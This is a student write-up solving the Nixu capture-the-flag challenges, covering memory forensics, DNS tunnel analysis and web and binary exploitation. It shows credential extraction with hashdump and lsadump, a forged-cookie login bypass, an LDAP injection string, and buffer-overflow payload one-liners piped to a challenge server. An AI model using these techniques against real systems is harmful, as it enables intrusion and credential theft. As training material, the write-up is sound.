Solving the Nixu Challenges

Erik Sandberg
Linköping University
Sweden
erisa418@student.liu.se

Patrick Richer St-Onge
Linköping University
Sweden
patri111@student.liu.se

***Abstract*—This document presents solutions to the Nixu challenges.**

I. Introduction

II. Challenges

A. AIMLES - staging

B. L'aritmetico, Il geometrico, Il finito

C. Bad memories - part 1

This is the first part of a five parts challenge on forensics, where it is needed to recover information from a memory dump. To analyse the memory dump, we use the Python tool `Volatility Framework`.

The first step is to find what type of operating system was the memory capture was done on, which we can find with the command `imageinfo`.

```
volatility -f mem.dmp imageinfo
```

We find that the memory dump is from a Windows 7 operating system. From there, we can list the processes that were active during the captutre with either `pslist` or `pstree`.

```
volatility -f mem.dmp --profile=Win7SP1x64
    pslist
```

The first part tells to recover the user documentation, which would hints at a text editor. There is a `notepad.exe` process running with PID 700, so we dump the VADs (Virtual Address Descriptors) and look at the VAD tree to find memory regions of heap (in yellow).

```
volatility -f mem.dmp --profile=Win7SP1x64
    vaddump -p 700 -D ./vads/
volatility -f mem.dmp --profile=Win7SP1x64
    vadtree --output=dot --output-file=./vads/
    graph.dot -p 700
```

To do that, we can use `strings` to find text in the heap memory.

```
strings -e l vads/notepad.exe.8c45060.0
    x0000000000390000-0x000000000048ffff.dmp
```

After looking throught a few files, we can find the flag in ROT13 `AVKH{guvf_j4f_gu3_rnfl_bar}`, which results in a valid flag `NIXU{this_w4s_th3_easy_one}`.

D. Bad memories - part 2

E. Bad memories - part 3

This time, the information that needs to be recovered from the memory dump is the "new design" that the user was working on. This hints us to search for a graphic image. Using `pslist`, we can confirm that a `mspaint` program was running on the machine. Using `cmdscan` and `console`, we can see there exist a `flag.bmp` file in the system of the user, but we were unable to extract it from the memory dump. Therefore, we do a `memdump` of the Paint process and look into that.

```
volatility -f mem.dmp --profile=Win7SP1x64
    memdump -p 2816 -D ./dump/
```

We rename the extension from `.dmp` to `.data` to be able to use GIMP to view the raw data. Doing this, we are able to move along the process memory and search visually for an image. After a lot of trial and error and looking at random bits of data, we were able to find a few images that made sense, such as the desktop of the user and an image containing the flag `NIXU{c4n_you_3nhanc3_this}`.

F. Bad memories - part 4

G. Bad memories - part 5

In this part, the goal is to recover the user password from the system. We started with the `hashdump` command.

```
volatility -f mem.dmp --profile=Win7SP1x64
    hashdump
```

We get a list of the users and the NTLM hash of their password. We tried to reverse find the hash on a few online websites, but with no success. So, we try this second command `lsadump`, which extracts secret keys from the registry, such as the default password for Windows.

```
volatility -f mem.dmp --profile=Win7SP1x64
    lsadump
```

Indeed, in the default password key we can find the challenge flag `NIXU{was_it_even_hard_for_you?}`.

H. Exfiltration

This challenge offers a network capture containing mostly SSL and DNS traffic. From the hint in the description (using internet would be annoying if this protocol did not exist), we can assume it is about DNS (would be annoying to use an IP address instead of a domain name). Looking at the DNS packets, we can see a lot of legitimate traffic, but also many TXT, MX and CNAME queries to a domain name ending with `malicious.pw`. We can filter those queries using this expression `dns && dns.qry.name contains "malicious.pw"` in Wireshark.

From there, we can assume that the data in encoded in the numbers in the domain name. Looking up on the web, we can find a DNS tunnel named dnscat2 that seems to be the one in use. We export the DNS queries from Wireshark to a text file, keep only the domain name and strip the `malicious.pw` ending. By converting the series of number to ASCII, we can find a session in a UNIX shell and a file named `flag.png`, which seems to have also been transfered in the same DNS tunnel session. Indeed, we can also find the header of a PNG file, starting with `89 50 4E 47`. Using a Python script and the library `dpkt`, we parse the network capture and keep only the data from the DNS queries that contains `PNG` to the end of the image, the packet containing `IEND`. We also need to strip a few bytes that are used by the dnscat2 protocol. Writing the image bytes to a file results in a valid PNG (after a few tries) which contains the flag `NIXU{just_another_tunneling_technique}`.

I. fridge 2.0

J. lisby-1

K. lisby-2

L. lisby-3

M. ACME Order DB

The website in question is protected by a login page. After trying with credentials admin/admin, we can see that a cookie `sess` is created with a Base64 encoded value that corresponds to `username=admin::logged_in=false`. We change the value of `logged_in` to `true`, encode it and update the cookie. We are now logged in.

In the source code of the webpage, we can see a reference to LDAP (`<!-- Get documents from ldap! -->`), which hints us at a LDAP injection. Using the following query `*))(|(a=*`, we are able to have access to secret files which one contains the flag `NIXU{c00kies_with_ldap_for_p0r1ft}`.

N. Device Control Pwnel

There are two buffer overflow vulnerabilities in this challenge which is divived in two parts. The first part is a simple buffer overflow, where the program uses the secure function `fgets`, but with a value of 127 for the maximum number of character to read. The characters are stored in an array of 8 bytes, which allows us to overflow and write the value of the local variable `int id` to zero, which gives access the the admin menu and the first flag.

```
python -c 'print("ABCDEFGH\00\00\00\00\n8")' |
    nc overflow.thenixuchallenge.com 20191
```

```
NIXU{pr3tty_s1mpl3_0v3rfl0w}
```

O. Device Control Pwnel - part 2

This is the second part of the buffer overflow challenge using the same C source code. The idea is similar, 256 bytes of inputs are allowed while the description field in the struct is of size 128 bytes. The array is copied using the unsecure funtion `strcpy` which allows us to write over the field `id` of the device struct. The goal is to write the device master ID `0x8100ca33c1ab7daf` to a device to get the flag. The only problem is that the number contains a null byte `\x00` which is the character that will cause `strcpy` to stop copying. Therefore, we need to first create a new device with the first part of the ID `81` and after edit the same device to add the rest of the ID `00ca33c1ab7daf`.

```
python -c 'print("2\n" + "name\n" + "A
    "*128+"1234567\x81\n" + "3\n1\n" + "name\n"
    + "A"*128+"\xaf\x7d\xab\xc1\x33\xca\x00\n" +
     "1\n4")' | ./devices
```

```
NIXU{h0w_t0_d3al_w1th_null_byt3s\x00}
```

P. Pad Practice

Q. Plumbing

R. Ports

Based on the name of the challenge it seemed obvious that we should look into the port numbers. Using Wireshark we exported the port numbers from the pcap file into plain text.

```
tshark -r ports.pcap -T fields -e tcp.dstport >
    ports.txt
```

We then tried to translate the decimal numbers to ASCII. The result looked like a typical base64 string, a good sign that we're on the right track.

```
QVZLSHtmbHpvYnlmX25hcV9haHpvcmVmX25lcl9zaGFfZ2JfY3lubF9q
    ==
```

The formating of the decoded base64 string assured us that we're almost done. Using ROT13, a version of the classic Caesar cipher, we recovered the key.

```
AVKH{flzobyf_naq_ahzoref_ner_sha_gb_cynl_jvgu}
NIXU{symbols_and_numbers_are_fun_to_play_with}
```